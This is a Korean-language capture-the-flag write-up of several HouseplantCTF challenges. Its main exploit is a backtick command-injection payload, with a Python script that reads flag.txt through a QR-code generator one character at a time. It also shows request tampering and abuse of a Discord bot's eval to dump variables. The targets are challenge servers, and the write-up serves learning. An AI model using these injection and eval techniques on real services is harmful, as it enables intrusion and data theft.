I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?
접속해보면 입력 문자열을 QR 코드로 생성해주는 페이지를 확인할 수 있다.
일반 문자열을 입력할 경우 첫 번째 문자만을 QR코드로 생성해준다.
힌트에 backtick 문자를 싫어한다고 나와있다.
' ` '를 입력해보면 error.png
를 생성한다.
중간에 pwd
와 같은 명령어를 삽입해보면 첫 글자와 다른 문자가 출력되므로 명령어를 실행시킨다는 것을 유추할 수 있다.
cat flag.txt
를 실행시키고 tail
을 이용하여 인덱스를 옮겨가면서 전체 flag.txt
내용을 출력시킬 수 있다.
import requests
from pyzbar.pyzbar import decode
from PIL import Image
def convertToRGBA(path, out):
png = Image.open(path).convert('RGBA')
background = Image.new('RGBA', png.size, (255,255,255))
alpha_composite = Image.alpha_composite(background, png)
alpha_composite.save(out, path.split('.')[1], quality=80)
url = 'http://challs.houseplant.riceteacatpanda.wtf:30004/qr'
flags = ''
i = 1
while True:
payload = '`cat flag.txt | tail -c {0}`'.format(i)
print 'payload : '+ payload
params = {'text': payload}
res = requests.get(url, params = params)
img = 'qr.png'
with open(img, 'wb') as f:
f.write(res.content)
convertToRGBA(img, img)
data = decode(Image.open(img))[0].data.decode()
print 'data: ' + data
flags += data
if data == '{':
break
i += 1
print 'flags: rtcp'+flags[::-1]
rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}
The amount of data that online services like Discord and Instagram collect on us is staggering, so I thought I'd selfhost a chat app!
http://challs.houseplant.riceteacatpanda.wtf:30005
The chat database is wiped every hour.
This app is called Mantle and is open source. You can find its GitHub repo at https://github.com/nektro/mantle.
접속해보면 Mantle이라는 페이지로 이동하고
디스코드를 선택하면 채팅 페이지로 이동된다.
burp suite로 전송되는 request를 확인해보면
discord라는 값을 파라미터로 넘겨주고 있다.
이 요청은 302 리다이렉트 처리된다.
HTTP/1.1 302 Found
Location: https://discordapp.com/api/oauth2/authorize?client_id=697169624038375435&duration=temporary&redirect_uri=http%3A%2F%2Fchalls.houseplant.riceteacatpanda.wtf%3A30005%2Fcallback&response_type=code&scope=identify&state=discord
Date: Mon, 27 Apr 2020 01:05:41 GMT
Content-Length: 0
Connection: close
게싱으로 다른 값들도 시도해보면 처리되지 않는 매개변수는 200의 응답을 받으며, flag를 전달했을 때 flag를 출력해주는 페이지로 리다이렉트 되는 것을 확인할 수 있다.
rtcp{rtcp-*is-s/ort-of-se1fh0st3d}
(비슷한 형태의 시리즈 문제이기 때문에 thedanzman만 풀이하겠다.)
소스파일이 주어진다.
import base64
import codecs
def checkpass():
userinput = input("Enter the password: ")
key = "nyameowpurrpurrnyanyapurrpurrnyanya"
key = codecs.encode(key, "rot_13")
a = nope(key,userinput)
b = str.encode(a)
c = base64.b64encode(b, altchars=None)
c = str(c)
d = codecs.encode(c, 'rot_13')
result = wow(d)
if result == "'=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR'o":
return True
else:
return False
def main():
access = checkpass()
if access == True:
print("Unlocked. The flag is the password.")
print("pwease let me do my nya~ next time!!")
exit()
else:
print("Incorrect password!")
print("sowwy but now you gunnu have to listen to me spweak in cat giwrl speak uwu~")
catmain()
def catmain():
access = catcheckpass()
if access == True:
print("s-senpai... i unwocked it fowr you.. uwu~")
print("t-the fwlag is... the password.. nya!")
exit()
else:
print("sowwy but that wasnt quite rwight nya~... pwease twy again")
catmain()
def catcheckpass():
userinput = input("pwease enter youwr password... uwu~ nya!!: ")
key = "nyameowpurrpurrnyanyapurrpurrnyanya"
key = codecs.encode(key, "rot_13")
a = nope(key,userinput)
b = str.encode(a)
c = base64.b64encode(b, altchars=None)
c = str(c)
d = codecs.encode(c, 'rot_13')
result = wow(d)
if result == "'=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR'o":
return True
else:
return False
def nope(s1,s2):
return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
def wow(x):
return x[::-1]
access = False
main()
입력을 하면 특정 연산 후에 암호화된 값과 일치하는지 비교한다.
암호화된 값을 이용해 반대의 연산을 진행하면 플래그를 얻을 수 있다.
유니코드 연산은 값의 변화에 영향을 안주므로 안해도 상관없다.
import base64
import codecs
enc = "=ZkXipjPiLIXRpIYTpQHpjSQkxIIFbQCK1FR3DuJZxtPAtkR"
enc = enc[::-1]
enc = codecs.decode(enc, 'rot_13')
enc = base64.b64decode(enc, altchars=None)
#enc = bytes.decode('utf-16', enc)
key = "nyameowpurrpurrnyanyapurrpurrnyanya"
key = codecs.encode(key, 'rot_13')
dec = bytearray(map(lambda x,y : chr(ord(x) ^ ord(y)), list(enc), list(key)))
print dec
rtcp{n0w_tH4T_w45_m0r3_cH4lL3NgiNG}
This website lets you make a pie and have it too!
접속해보자.
숫자를 입력할 수 있다.
숫자를 입력하면, 우리의 숫자는 93이었다고 말한다.
숫자를 맞춰야 하는 게임이다.
Burp suite로 확인하면 request에 timestamp 값도 전송된다.
timestamp 값을 이전 시간값으로 수정해서 전송하면 플래그를 출력해준다.
Let's go on an adventure!
The solution is in there... somewhere.(#adventure-revisited on discord)
파일을 받아보면 확장자는 압축파일이지만 실행이 되지 않는다.
헥스에디터로 열어보면
base64 인코딩된 값이었고, 디코딩하면 이미지 파일을 얻을 수 있으며 이 이미지는 discord 봇을 나타낸다.
houseplant ctf의 디스코드 채널 중 이 문제와 동일한 이름을 가진 채널이 있다. 이 안에서 봇에게 명령을 보낼 수 있다.
eval이라는 명령어를 통해 코드를 실행할 수 있는데 여러가지 시도 후 globals()
, locals()
등의 변수값을 얻는 함수를 확인할 수 있다.
'adnozulerqhsymvtfc': '[HIDDEN]', 'ouhbn': '[HIDDEN]', 'omhwjqyfxzegkrp': '[HIDDEN]', 'rbwufi': '[HIDDEN]', 'wvb': '[HIDDEN]', 'nrmdychqxal': '[HIDDEN]', 'onetvfqmrspwza': '[HIDDEN]', 'igqotewvkhlczd ...
[HIDDEN] 이라는 값을 봤을 때, 그리고 return [변수명]
을 했을 때는 [HIDDEN]과 다른 값이 출력되므로 이 출력되는 값들은 원래 변수의 값이 아니라 필터를 거친 결과 값인 것을 추측할 수 있다.
변수 값이 많아 위 명령어로 모든 변수의 값을 확인할 수 없으므로, 범위를 나눠서 출력해보면 rtcp{} 라는 값을 가진 변수를 확인할 수 있다.
해당 변수의 이름을 확인해보면
vals = [k for k in locals().keys() if 'rtcp{}' == locals()[k]]; return vlas
rgslbtudhniypmvezkjxwfac
임을 알 수 있고
이 값을 출력하면 플래그를 확인할 수 있다.
return rgslbtudhniypmvezkjxwfac
rtcp{1tz_n0t_4_bUg_1ts_a_fe4tur3}
Please join us in our campaign to save the catgirls once and for all, as the COVID-19 virus is killing them all and we need to provide food and shelter for them!
nya~s and uwu~s will be given to those who donate!
and headpats too!Dev: William
(and inspired by forwardslash from htb i guess)
advertisement.png
이미지 파일을 준다.
별다른 힌트가 없다. stegsolve
를 이용해서 enhanced lsb로 숨겨진 플래그가 있는지 확인해본다.
rtcp{s4vE_@LL_7A3m_c4tG1R1$}
Yay, more music!
Dev: Delphine
more music.wav
.wav
에 숨겨진 파일을 확인하는 deepsound라는 도구를 이용하자.
rtcp{got_youuuuuu}